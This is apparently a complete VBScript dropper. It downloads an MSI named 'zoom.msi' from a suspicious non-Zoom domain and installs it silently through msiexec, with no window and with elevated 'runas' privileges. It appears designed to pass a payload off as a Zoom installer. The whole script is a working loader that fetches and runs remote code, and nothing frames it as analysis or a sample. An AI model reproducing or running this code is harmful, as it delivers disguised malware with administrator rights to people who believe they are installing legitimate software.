Option Explicit

Dim objShell, strMsiUrl, strCommand, strArgs

' Define the URL for the MSI installer
strMsiUrl = "https://worldinternationalgloballtdin.fit/zoom.msi"

' Define the installer executable
strCommand = "msiexec.exe"

' Define the arguments for a silent, non-restarting installation
strArgs = "/i """ & strMsiUrl & """ /qn /norestart"

' Initialize Shell Application object
Set objShell = CreateObject("Shell.Application")

' Execute the command with admin privileges
objShell.ShellExecute strCommand, strArgs, "", "runas", 0

' Cleanup
Set objShell = Nothing